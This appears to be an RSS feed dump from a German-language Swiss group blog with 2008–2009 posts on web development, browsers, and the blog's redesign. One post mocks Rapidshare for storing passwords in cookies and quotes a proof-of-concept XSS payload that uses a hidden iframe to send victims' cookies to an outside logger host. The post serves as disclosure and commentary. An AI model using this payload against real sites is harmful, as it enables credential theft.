				dumped_text <span style="color: #339933;">+=</span> level_padding <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;[&quot;</span> <span style="color: #339933;">+</span> <span style="color: #000066; font-weight: bold;">item</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;] =&gt; &quot;</span> <span style="color: #339933;">+</span> value <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #009900;">&#125;</span>
		dumped_text <span style="color: #339933;">+=</span> bracket_level_padding <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;)<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span> <span style="color: #006600; font-style: italic;">//Stings/Chars/Numbers etc.</span>
		dumped_text <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;===&gt;&quot;</span> <span style="color: #339933;">+</span> arr <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;&lt;===(&quot;</span> <span style="color: #339933;">+</span> <span style="color: #000066; font-weight: bold;">typeof</span><span style="color: #009900;">&#40;</span>arr<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;)&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000066; font-weight: bold;">return</span> dumped_text<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></div></div><p>Testen (irgendwo in ein HTML einbetten):</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> obj <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span>
	wert1<span style="color: #339933;">:</span> <span style="color: #3366CC;">'pfu'</span><span style="color: #339933;">,</span>
	wert2<span style="color: #339933;">:</span> <span style="color: #3366CC;">'bla'</span><span style="color: #339933;">,</span>
	schachtel<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span>
		foo<span style="color: #339933;">:</span> <span style="color: #3366CC;">'bar'</span>
	<span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span>
	nummer<span style="color: #339933;">:</span> <span style="color: #CC0000;">2</span><span style="color: #339933;">,</span>
	und<span style="color: #339933;">:</span> <span style="color: #3366CC;">'so weiter'</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>print_r<span style="color: #009900;">&#40;</span>obj<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div><p>Ausgabe:</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">Array
<span style="color: #009900;">&#40;</span>
    <span style="color: #009900;">&#91;</span>wert1<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> pfu
    <span style="color: #009900;">&#91;</span>wert2<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> bla
    <span style="color: #009900;">&#91;</span>schachtel<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> Array
        <span style="color: #009900;">&#40;</span>
            <span style="color: #009900;">&#91;</span>foo<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> bar
        <span style="color: #009900;">&#41;</span>
&nbsp;
    <span style="color: #009900;">&#91;</span>nummer<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #CC0000;">2</span>
    <span style="color: #009900;">&#91;</span>und<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> so weiter
<span style="color: #009900;">&#41;</span></pre></div></div>]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2009/07/11/print_r-fur-javascript/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Danke Longneck. Aber ein paar Wünsche sind da noch&#8230;</title><link>http://scratchbook.ch/2009/05/01/danke-longneck-aber-ein-paar-wunsche-sind-da-noch/</link> <comments>http://scratchbook.ch/2009/05/01/danke-longneck-aber-ein-paar-wunsche-sind-da-noch/#comments</comments> <pubDate>Fri, 01 May 2009 15:23:19 +0000</pubDate> <dc:creator>Freidenker</dc:creator> <category><![CDATA[Informatik]]></category> <category><![CDATA[Nachdenklich]]></category> <category><![CDATA[Webentwicklung]]></category> <category><![CDATA[Avatare]]></category> <category><![CDATA[Behörden]]></category> <category><![CDATA[DevCon]]></category> <category><![CDATA[Nocturne]]></category> <category><![CDATA[Scratchbook]]></category> <category><![CDATA[Theme]]></category> <category><![CDATA[Wünsche]]></category> <category><![CDATA[Wordpress]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=6011</guid> <description><![CDATA[Nach längerem auch mal ein Lebenszeichen von mir
Finde es toll, dass Longneck wieder zurück zu den Wurzeln geht &#8211; sprich scratchbook.ch!!!
Mit dabei: Eine Designänderung. Es geht jetzt nur noch um Text. Keine Banner, kein Blingbling.
Einfach nur Inhalt. &#8212; Longneck
Ausser vom Design des Blogs ist die Ausrichtung immer noch die gleiche: Texte, Fotos, Video- [...]]]></description> <content:encoded><![CDATA[<p>Nach längerem auch mal ein Lebenszeichen von mir <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /></p><p>Finde es toll, dass Longneck wieder zurück zu den Wurzeln geht &#8211; sprich scratchbook.ch!!!</p><blockquote><p>Mit dabei: Eine Designänderung. Es geht jetzt nur noch um Text. Keine Banner, kein Blingbling.<br /> Einfach nur Inhalt. &#8212; Longneck</p></blockquote><p>Ausser vom Design des Blogs ist die Ausrichtung immer noch die gleiche: Texte, Fotos, Video- und Musikschnipsel.</p><blockquote><p>Aber: Der Inhalt bleibt gleich. Selbstverständlich! Denn das ist das wichtigste. &#8212; Longneck</p></blockquote><p>Der Inhalt ist das Wichtigste. Doch was bringt es mir, wenn die Aufmachung dazu unansehlich ist? Auf mich wirkt das Wordpress Theme wie ein spannender Manga, aber nur in Schwarz/Weiss ohne Graustufen. Schattierungen entfallen total und die daraus erzeugte Athmosphäre erst&#8230;</p><p>Ergo: Das Design von Scratchbook ist uns (ok, wenigstens mir) auch wichtig, denn es wurde doch Herzblut investiert und durch die vielen kleinen Details war die Seite nur schon als Seite etwas Besonderes, Einmaliges &#8211; so speziell wie wir alle sind. Das passt.</p><p>Ich erinnere nur all zu gerne an diese winzigen Finessen, welche der Seite ein Eigenleben zu verleihen schien:</p><ul><li>Thumbnails unserer Avatarbildchen, welche beim Banner umherschwirrten, wenn der/diejenige eingeloggt war</li><li>Ein Kugelschreiber mit dem Usernamen auf Pergament</li><li>Mini-Chat resp. Shoutbox ähnliches Feature zum Chatten in der Sidebar</li><li>Autorenseite</li><li>etc&#8230;</li></ul><p>Entsprechen ein paar Wünsche von mir. Ich will ja nicht, dass wir wieder unser altes, hauptsächlich von Longneck, entwickeltes Blogsystem wiederbeleben.  Die Vorteile von Wordpress sind mir schon bewusst. Aber es gibt keinen Grund, der gegen ein liebevolles Tweaken dieser Wordpress Installation spricht und den jetzigen 0815-Look verjagt:</p><ul><li>Blog Header wieder mit random Hintergrundbild &#8211; das war top. Auch weil es sich nicht um 0815 Bilder aus dem Internet handelte, sondern von Longneck. Diese Idee könnte ausgebaut werden: Wer Lust hat, lädt eigene Bilder im richtigen Format auf einen XY Verzeichnis hoch, woraus sich das Randomskript bedient.</li><li>Eine Shoutbox muss zurück. Das war so fun!</li><li>Keine Avatarbilder mehr? Nene&#8230; so schwer kann das doch nicht sein. Auch ohne Gravatar &amp; co.</li><li>Reintegration der umherschwirrenden Avatarthumbnails. Ja genau! Recycle your code! Still useful.</li><li>Möglichkeit Messages wieder anderen Autoren schicken zu können!</li><li>In der Detailansicht eines Beitrages zuunterst nicht nur darauf hinweisen, dass man eingeloggt sein muss, sondern auch bitte den Link dazu! Sonst sind das ja Verhältnisse wie bei den Behörden: Wir können Ihre Anfrage leidern nicht entgegennehmen, Herr XY, weil Sie noch nicht das dazu notwendige Formular YZ ausgefüllt haben&#8230;. ARGH!</li><li>Wieder Buttons um verschiedene Schriftgrössen einstellen zu können, was dann auch im Cookie und/oder Profil gespeichert wird. Let the user decide! (Finds nämlich ein bisserl gross auf meinem Monitor&#8230; und jedesmal resizen&#8230;.)</li><li>Apropos Buttons zum Umschalten&#8230; wie wärs mit &#8216;ner Nachtansicht? So wie <a title="Nocturne for Mac OS X" href="http://docs.blacktree.com/nocturne/nocturne">Nocturne</a>. Warum? Weil so viel Weiss meinen müden Augen am Abend weh tun kann und ich ned immer an meinem eigenen nocturefähgien Laptop bin. Anderes Argument: Viel weisse Fläche braucht mehr Energie. Also GET  GREEN, Strom sparen mit invertiertem Theme. Hehe&#8230;&#8230; wie auch immer, gibt noch weitere fadenscheinige Argumente <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /></li><li>Mehr Smilies bitte, die ich im WYSIWYG Editor auswählen kann</li><li>rechte sidebar ist also fürs Menü, ok. Wie wärs zusätzlich dazu noch &#8216;ne linke Sidebar ins Leben zu rufen? Inhalt: die letzten 20 Comments, die top 10  Posts nach Anzahl Views oder Comments, sowie top 10 autoren nach posts</li><li>Ein 5-Sterne Rating der Beiträge und ensprechenden Auflistung in &#8216;ner Page wär auch noch was&#8230;</li><li>Eine Seite, wo man wieder alle Autoren auf einen Blick sieht, inkl. Anzahl Beiträge und Links zu all ihren Beiträgen! Sowie wann der Autor das letzte Mal online war.</li><li>Tag Cloud daher!</li><li>So, ich mach mal Pause, wenn ich weiter überlegen würde, käme sicher noch mehr, aber fürs Erste reichts mal. Otherwise Longneck will not be amused <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></li></ul><p>Scratchbook war einmalig. Lasst es uns wieder so werden. Ich helfe gerne mit, Longneck. Entweder remote, wenn du deine Paranoia überwinden kannst und mich berechtigst, oder an einer weiteren <a title="Scratchbook's DevCon 2006" href="http://scratchbook.ch/2006/11/26/devcon-06/">DevCon</a> (die letzte war im 2006. wow ist das lange her!!!), würde mich auch freuen <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p><p>Es grüsst Freidenker (auch so ein Punkt zum Verbesseren: Beim Beitragstitel muss der Autor wieder erkennbar sein. Okok, bin ja schon ruhig, hehe&#8230;)</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2009/05/01/danke-longneck-aber-ein-paar-wunsche-sind-da-noch/feed/</wfw:commentRss> <slash:comments>7</slash:comments> </item> <item><title>namics Underground&#8230;</title><link>http://scratchbook.ch/2008/10/08/namics-underground/</link> <comments>http://scratchbook.ch/2008/10/08/namics-underground/#comments</comments> <pubDate>Wed, 08 Oct 2008 11:22:58 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Aktivitäten]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=5510</guid> <description><![CDATA[
Video: http://flickr.com/photos/dns_roots/2924275384/in/photostream/
Juppie, am Freitag geht&#8217;s los: Techie-Camp im Messeturm in Basel. Zwei Tage lang Vorträge über Themen wie Cloud Computing, Scala, GIT, Professionelles Frontend Engineering, PHP-Frameworks, CSS-Systems, jQuery, Ruby, Rails&#8230; Und am Abend einen Besuch in der Bar-Rouge.
Boah das wird geil. *freu*
]]></description> <content:encoded><![CDATA[<p><img src="http://scratchbook.ch/wp-content/uploads/2008/10/2924274244_4b72c31580.jpg" alt="" title="2924274244_4b72c31580" class="alignnone size-full wp-image-5511" /></p><p>Video: <a target="_blank" href="http://flickr.com/photos/dns_roots/2924275384/in/photostream/">http://flickr.com/photos/dns_roots/2924275384/in/photostream/</a></p><p>Juppie, am Freitag geht&#8217;s los: Techie-Camp im Messeturm in Basel. Zwei Tage lang Vorträge über Themen wie Cloud Computing, Scala, GIT, Professionelles Frontend Engineering, PHP-Frameworks, CSS-Systems, jQuery, Ruby, Rails&#8230; Und am Abend einen Besuch in der Bar-Rouge.</p><p>Boah das wird geil. *freu*</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2008/10/08/namics-underground/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> <item><title>Google mit eigenem Browser</title><link>http://scratchbook.ch/2008/09/03/google-mit-eigenem-browser/</link> <comments>http://scratchbook.ch/2008/09/03/google-mit-eigenem-browser/#comments</comments> <pubDate>Wed, 03 Sep 2008 11:45:26 +0000</pubDate> <dc:creator>rakudave</dc:creator> <category><![CDATA[IT-News]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=5489</guid> <description><![CDATA[OK Google, WTF?
Auf den ersten Blick ist es ein billiger Abklatsch von Firefox 3. Auf den Zweiten kann mann erkennen, dass auch einige Firefox add-ons kopiert wurden. Doch der Browser hat einen gröberen Schönheitsfehler: Opera Tabs. Ich habe nie verstanden, warum die Tab-Leiste oben an der Adressleiste sein soll. Ansonsten mutet der Browser spartanisch an, [...]]]></description> <content:encoded><![CDATA[<p><a href="http://scratchbook.ch/wp-content/uploads/2008/09/logo_smergsrt.jpg"><img class="alignright size-full wp-image-5491" src="http://scratchbook.ch/wp-content/uploads/2008/09/logo_smergsrt.jpg" alt="" width="150" height="55" /></a>OK Google, WTF?</p><p>Auf den ersten Blick ist es ein billiger Abklatsch von Firefox 3. Auf den Zweiten kann mann erkennen, dass auch einige Firefox add-ons kopiert wurden. Doch der Browser hat einen gröberen Schönheitsfehler: <u>Opera Tabs</u>. Ich habe nie verstanden, warum die Tab-Leiste oben an der Adressleiste sein soll. Ansonsten mutet der Browser spartanisch an, kein Menü, kein Kontextmenü und keine Statusleiste.<br /> Bis jetzt hat Google viel Werbung für Firefox gemacht, darum verstehe ich nicht, weshalb sie einen eigenen Browser basteln.</p><p><a href="http://scratchbook.ch/wp-content/uploads/2008/09/dlpage_lg.jpg"><img class="alignnone size-full wp-image-5490" src="http://scratchbook.ch/wp-content/uploads/2008/09/dlpage_lg.jpg" alt="" width="440" height="359" /></a></p><p>Folgende Funktionen sind verfügbar: &#8211; <em>und was ich davon halte</em></p><p>Ein Eingabefeld für alles<em> &#8211; Kennt ihr schon die Awesomebar?</em><br /> Seite &#8220;Neuer Tab&#8221;<em> &#8211; Einzig gute &#8216;Innovation&#8217; aber eine Add-on Kopie</em><br /> Anwendungsverknüpfungen<em> &#8211; Kennt ihr Prism? Oder Aslowbe Air?</em><br /> Dynamische Tabs<em> &#8211; Gähn</em><br /> Ausfallkontrolle<em> &#8211; Nette Idee, aber unnötig</em><br /> Modus &#8220;Anonym browsen&#8221;<em> &#8211; Google und anonym? Hahaha&#8230;</em><br /> Sicherheit<em> &#8211; Auch das hat FF schon lange</em><br /> Sofort als Lesezeichen speichern<em> &#8211; Auch kopiert</em><br /> Einstellungen importieren<em> &#8211; Klar</em><br /> Einfachere Downloads<em> &#8211; Add-on Kopie</em></p><p>Offenbar scheint Google jedes Mittel recht, um den Browser vollumfänglich auszuspionieren. Vieses ist kopiert, neu ist das wenigste. Sogar der Name &#8220;chrome&#8221; ist von Mozilla geklaut. Mal schauen, ob sich das Teil einen Marktanteil ergattern kann.<br /> Freuen dürften sich vor allem die Webentwickler, die jetzt für einen weiteren Browser optimieren müssen ^^</p><p>Bis jetzt ist nur eine <a href="http://www.google.com/chrome/?hl=de">Windoof Version</a> verfügbar, andere sollen noch Folgen.</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2008/09/03/google-mit-eigenem-browser/feed/</wfw:commentRss> <slash:comments>9</slash:comments> </item> <item><title>Ubiquity: Best. Thing. Ever.</title><link>http://scratchbook.ch/2008/08/28/ubiquity/</link> <comments>http://scratchbook.ch/2008/08/28/ubiquity/#comments</comments> <pubDate>Wed, 27 Aug 2008 23:01:42 +0000</pubDate> <dc:creator>rakudave</dc:creator> <category><![CDATA[Nützlich]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=5484</guid> <description><![CDATA[[Im Feed kann dieses Video nicht angezeigt werden.Klicke zum Blogeintrag um das Video anzusehen.]
Ubiquity isch DAS tool wo&#8217;s web bruucht. +500% schnäller surfe. geil.
DANKE, MOZILLA !!!
]]></description> <content:encoded><![CDATA[<p>[Im Feed kann dieses Video nicht angezeigt werden.<a href="http://scratchbook.ch/2008/08/28/ubiquity/">Klicke zum Blogeintrag um das Video anzusehen.]</a></p><p><a href="http://labs.mozilla.com/2008/08/introducing-ubiquity/">Ubiquity</a> isch DAS tool wo&#8217;s web bruucht. +500% schnäller surfe. geil.</p><p>DANKE, MOZILLA !!!</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2008/08/28/ubiquity/feed/</wfw:commentRss> <slash:comments>13</slash:comments> </item> <item><title>Dumm, Dümmer, Rapid$hare</title><link>http://scratchbook.ch/2008/08/06/dumm-dummer-rapidhare/</link> <comments>http://scratchbook.ch/2008/08/06/dumm-dummer-rapidhare/#comments</comments> <pubDate>Wed, 06 Aug 2008 15:30:42 +0000</pubDate> <dc:creator>rakudave</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=5441</guid> <description><![CDATA[Offenbar ist es ein Kinderspiel, Rapid$hare Accounts zu klauen. Diese Vollidioten speichern ernsthaft das Password in einem Cookie, wie  nktpro herausgefunden hat.
In einem Cookie steht dann zum Beispiel &#8220;user=12345-%36%37%38%39%30", wobei 12345 der Username und %36%37%38%39%30 das Passwort ist. Sieht verschlüsselt aus, oder? Leider nicht!
Code: cookie = "username=" + login + "-" + pwd.replace(/./g, function(s) [...]]]></description> <content:encoded><![CDATA[<p><a href="http://scratchbook.ch/wp-content/uploads/2008/08/password_star.jpg"><img class="alignright size-medium wp-image-5442" src="http://scratchbook.ch/wp-content/uploads/2008/08/password_star-300x214.jpg" alt="" width="163" height="116" /></a>Offenbar ist es ein Kinderspiel, Rapid$hare Accounts zu klauen. Diese <strong>Vollidioten</strong> speichern ernsthaft das Password in einem Cookie, wie <a rel="nofollow external" href="http://sla.ckers.org/forum/read.php?3,23512,23527#msg-23527" target="_blank">nktpro</a> herausgefunden hat.</p><p>In einem Cookie steht dann zum Beispiel &#8220;<code>user=12345-%36%37%38%39%30", wobei 12345 der Username und </code><code>%36%37%38%39%30 das Passwort ist. Sieht verschlüsselt aus, oder? Leider nicht!</code><span id="more-5441"></span></p><p><code><strong>Code:</strong> cookie = "username=" + login + "-" + pwd.replace(/./g, function(s) "%" + (s.charCodeAt(0).toString(16)))<br /> </code><code><strong>Also:</strong> var [login, pwd] = cookie.replace(/.*=/,'').split("-"), pwd = unescape(pwd);</code></p><p>Also werden die Buchstaben lediglich in charCode umgewandelt. Nun, das kann man leicht rückgängig machen:</p><p><code>var injection = "«script»(" + (function() {<br /> new Image().src = "http://evil.hackademix.net/cookielogger/rapidshare/?c=" +<br /> escape(document.cookie);<br /> }) + ")()«/scr" + "ipt»"<br /> var iframe = document.body.appendChild(document.createElement("iframe"));<br /> iframe.style.visibility = "hidden";<br /> iframe.src = "http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=12345%22" +<br /> encodeURIComponent(injection);</code></p><p>Bingo! Jeder Rapid$hare-user, der eine Seite mit dem oberen Code besucht, ist nun sein Passwort los.</p><p>*facepalm*</p><p>[via <a href="http://hackademix.net/2008/07/15/i-own-your-rapidshare-accounts/">hackademix.net</a>]</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2008/08/06/dumm-dummer-rapidhare/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Viacom: All your Youtubedata are belong to us!</title><link>http://scratchbook.ch/2008/07/08/viacom-all-your-youtube-data-are-belong-to-us/</link> <comments>http://scratchbook.ch/2008/07/08/viacom-all-your-youtube-data-are-belong-to-us/#comments</comments> <pubDate>Tue, 08 Jul 2008 07:44:01 +0000</pubDate> <dc:creator>rakudave</dc:creator> <category><![CDATA[IT-News]]></category> <category><![CDATA[Nachdenklich]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=5302</guid> <description><![CDATA[Das ist so unfassbar, dass es rauscht. Ein US-Richter hat angeordnet, dass Youtube/Google alle (!) Nutzerdaten und Daten über alle (!) angeschauten Videos an Viacom (MTV, Nickelodeon, Comedy Central, Paramount, Dreamworks&#8230;) übergibt. Die hatten Youtube 2007 wegen Copyright-Verletzungen verklagt.
Der Datenkrakenfanatismus, der sich da unter dem Schutzmantel eines untragbaren Urheberrechts formiert ist an Widerlichkeit kaum mehr [...]]]></description> <content:encoded><![CDATA[<p><a href="http://scratchbook.ch/wp-content/uploads/2008/07/shark-tube-viacom.jpg"><img class="alignright size-medium wp-image-5303" src="http://scratchbook.ch/wp-content/uploads/2008/07/shark-tube-viacom-300x252.jpg" alt="" width="210" height="176" /></a>Das ist so unfassbar, dass es rauscht. Ein US-Richter hat angeordnet, dass Youtube/Google alle (!) Nutzerdaten und Daten über alle (!) angeschauten Videos an Viacom (MTV, Nickelodeon, Comedy Central, Paramount, Dreamworks&#8230;) übergibt. Die hatten Youtube 2007 wegen Copyright-Verletzungen <a href="http://www.theregister.co.uk/2007/03/14/viacom_youtube_lawsuit_dmca/">verklagt</a>.</p><p>Der Datenkrakenfanatismus, der sich da unter dem Schutzmantel eines untragbaren Urheberrechts formiert ist an Widerlichkeit kaum mehr zu überbieten <span id="more-5302"></span>und die Herren von der Content-Mafia und ihre Erfüllungsgehilfen in Regierungen und Lobbyistengruppen dürfen sich nicht wundern, wenn ihnen das alles irgendwann in Form von was auch immer um die Ohren fliegt.</p><blockquote><p>Google will have to turn over every record of every video watched by YouTube users, including users’ names and IP addresses, to Viacom, which is suing Google for allowing clips of its copyright videos to appear on YouTube, a judge ruled Wednesday.</p><p>Viacom wants the data to prove that infringing material is more popular than user-created videos, which could be used to increase Google’s liability if it is found guilty of contributory infringement.</p><p>[...]</p><p>Although Google argued that turning over the data would invade its users’ privacy, the judge’s ruling described that argument as “speculative” and ordered Google to turn over the logs on a set of four tera-byte hard drives.</p></blockquote><p>[via <a href="http://www.nerdcore.de/wp/2008/07/03/viacom-all-your-youtube-data-are-belong-to-us/">nerdcore</a>]</p><p><a href="http://scratchbook.ch/wp-content/uploads/2008/07/youtube.jpg"><img class="aligncenter size-medium wp-image-5304" src="http://scratchbook.ch/wp-content/uploads/2008/07/youtube-300x225.jpg" alt="" width="300" height="225" /></a></p><p>SRSLY, WTF???<br /> *grrrrmbl*</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2008/07/08/viacom-all-your-youtube-data-are-belong-to-us/feed/</wfw:commentRss> <slash:comments>11</slash:comments> </item> <item><title>This is Wordpress 2.5.1</title><link>http://scratchbook.ch/2008/06/19/this-is-wordpress-251/</link> <comments>http://scratchbook.ch/2008/06/19/this-is-wordpress-251/#comments</comments> <pubDate>Wed, 18 Jun 2008 22:25:46 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/?p=5276</guid> <description><![CDATA[
Es wird doch noch wahr: Ich habe mir tatsächlich mal Zeit genommen, das Blog auf Vordermann zu bringen.
Hübsch sieht es aus, das neue Backend! Und sehr, sehr bedienbar! Ach wie schön, ich muss nicht mehr scrollen, um einen Beitrag zwischenzuspeichern. Und das Design &#8211; WOW!
Usabilitymässig sicher eine der krassesten Benutzeroberflächen, die das Web zu bieten [...]]]></description> <content:encoded><![CDATA[<p><img src="http://scratchbook.ch/wp-content/uploads/2008/06/wordpress-new-face-300x220.png" alt="" title="wordpress-new-face" width="300" height="220" class="alignnone size-medium wp-image-5275" /></p><p>Es wird doch noch wahr: Ich habe mir tatsächlich mal Zeit genommen, das Blog auf Vordermann zu bringen.</p><p>Hübsch sieht es aus, das neue Backend! Und sehr, sehr bedienbar! Ach wie schön, ich muss nicht mehr scrollen, um einen Beitrag zwischenzuspeichern. Und das Design &#8211; WOW!</p><p>Usabilitymässig sicher eine der krassesten Benutzeroberflächen, die das Web zu bieten hat. So schnell macht das keiner nach!</p><p>*zitter* &#8211; hoffentlich läuft noch alles. Plugins, E-Mail Benachrichtigung&#8230; Wir werden sehen.</p><p>Viel Spass!</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2008/06/19/this-is-wordpress-251/feed/</wfw:commentRss> <slash:comments>23</slash:comments> </item> <item><title>Firefox: Guinness World Record</title><link>http://scratchbook.ch/2008/06/16/firefox-guinness-world-record/</link> <comments>http://scratchbook.ch/2008/06/16/firefox-guinness-world-record/#comments</comments> <pubDate>Sun, 15 Jun 2008 22:12:59 +0000</pubDate> <dc:creator>rakudave</dc:creator> <category><![CDATA[Aktivitäten]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2008/06/16/firefox-guinness-world-record/</guid> <description><![CDATA[Markiert euch den Dienstag, 17 Juni im Kalender mit einem fetten roten Stift. Dann findet der Weltrekordversuch von Mozilla statt. In 24 Stunden soll Firefox 3 so viel mal wie möglich heruntergeladen werden. Aber nur ein mal pro PC.
Momentan haben 1,295,053 Leute versprochen, am Dienstag den Staubsauger anzuwerfen. Die Schweiz ist aber mit 7973 Personen [...]]]></description> <content:encoded><![CDATA[<p><a href="http://www.spreadfirefox.com/en-US/worldrecord/"><img src="http://scratchbook.ch/wp-content/uploads/2008/06/dday_badge_fox.png" alt="dday_badge_fox.png" align="right" height="152" width="187" /></a>Markiert euch den <strong>Dienstag, 17 Juni</strong> im Kalender mit einem fetten roten Stift. Dann findet der Weltrekordversuch von Mozilla statt. In 24 Stunden soll Firefox 3 so viel mal wie möglich heruntergeladen werden. Aber nur ein mal pro PC.</p><p>Momentan haben 1,295,053 Leute versprochen, am Dienstag den Staubsauger anzuwerfen. Die Schweiz ist aber mit 7973 Personen eher schwach. Unterschreibt also auch und ladet das Teil herunter. (apt-get install zählt nicht ^^)</p><p><a href="http://www.spreadfirefox.com/en-US/worldrecord/">www.spreadfirefox.com</a></p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2008/06/16/firefox-guinness-world-record/feed/</wfw:commentRss> <slash:comments>18</slash:comments> </item> <item><title>Es ist so ruhig&#8230;</title><link>http://scratchbook.ch/2008/03/26/es-ist-so-ruhig/</link> <comments>http://scratchbook.ch/2008/03/26/es-ist-so-ruhig/#comments</comments> <pubDate>Wed, 26 Mar 2008 22:19:10 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2008/03/26/es-ist-so-ruhig/</guid> <description><![CDATA[Es ist ruhiger geworden hier. Ich erinnere mich noch, als das Scratchbook online ging: 4 Beiträge pro Tag und mehr waren üblich! Damals streiften meine neugierigen Blicke alle möglichen anderen Homepages. Blogs waren gerade erst am aufkommen. Als ich das Scratchbook entwickelte, wusste ich nicht, dass man sowas mal &#8220;Weblog&#8221; nennen würde. Ich wollte einfach [...]]]></description> <content:encoded><![CDATA[<p>Es ist ruhiger geworden hier. Ich erinnere mich noch, als das Scratchbook online ging: 4 Beiträge pro Tag und mehr waren üblich! Damals streiften meine neugierigen Blicke alle möglichen anderen Homepages. Blogs waren gerade erst am aufkommen. Als ich das Scratchbook entwickelte, wusste ich nicht, dass man sowas mal &#8220;Weblog&#8221; nennen würde. Ich wollte einfach ein eigenes Online-Tagebuch; eine Zeitung, wo alle mitschreiben können; eine Plattform zur Meinungsmache und zum Dampf ablassen.</p><p>Ich las unter anderem auch eine Diskussion in einem Weblog. Dort wurde über eine Schwäche von vielen Homepages diskutiert; nämlich, dass viele Blogs Eintagswunder sind und wenig Content haben. Ein Wordpress oder ein Joomla ist heutzutage schnell installiert &#8211; aber pflegt man auch den Inhalt?<br /> Mit diesem Gedanken im Hinterkopf habe ich mir damals zum Ziel gesetzt, eine Seite ins Leben zu rufen, die Contentmässig alle anderen Seiten in den Schatten stellt; eine Seite, die soviel Inhalt hat, dass man 2 Wochen Ferien machen kann und es in dieser Zeit nicht schafft, alles zu Lesen&#8230;</p><p>Ich glaube, dieses Ziel haben wir erreicht. Diejenigen, die es noch nicht gesehen haben: Ich habe den Traum, ein Buch von meinem Weblog zu machen, zumindest teilweise erfüllt:</p><p><img src='http://scratchbook.ch/wp-content/uploads/2008/03/scratch-the-book.png' alt='scratch-the-book.png' /></p><p>Ist das nicht fabelhaft? Das ist ein ganz anderes Gefühl, wenn man sein Weblog plötzlich buchstäblich in den Händen hält. Und die Navigation erst! Sehr angenehm zum Lesen&#8230; (<a href="http://scratchbook.ch/2007/06/10/1x-wolf-zum-mitnehmen/">Abgebildeter Beitrag</a>)<br /> Realisiert habe ich das ganze mit dem freien Textsatzsystem <a href="http://de.wikipedia.org/wiki/LaTeX">LaTeX</a>.</p><p>630 Seiten! Wohlgemerkt: Das sind bloss die Beiträge vom Januar bis November&#8230; Ich habe spasseshalber mal alle Beiträge als PDF exportiert; ohne Bilder, bloss die Texte und Kommentare &#8211; die Bibel ist Dreck dagegen (ist sie sowieso&#8230;) &#8211; es übersteigt 3000 Seiten bei weitem! Ich müsste das erste Jahr (2005) in mehreren Bänden drucken, das 2006 passt auf etwa auf 1300 Seiten. Erst das Jahr 2007 kommt knapp auf 800 Seiten&#8230;</p><p>Tja, und jetzt sind wir im 2008. Der Kalender hat schon grössere Löcher. Es ist zwar einerseits Schade, dass es immer weniger wird, aber 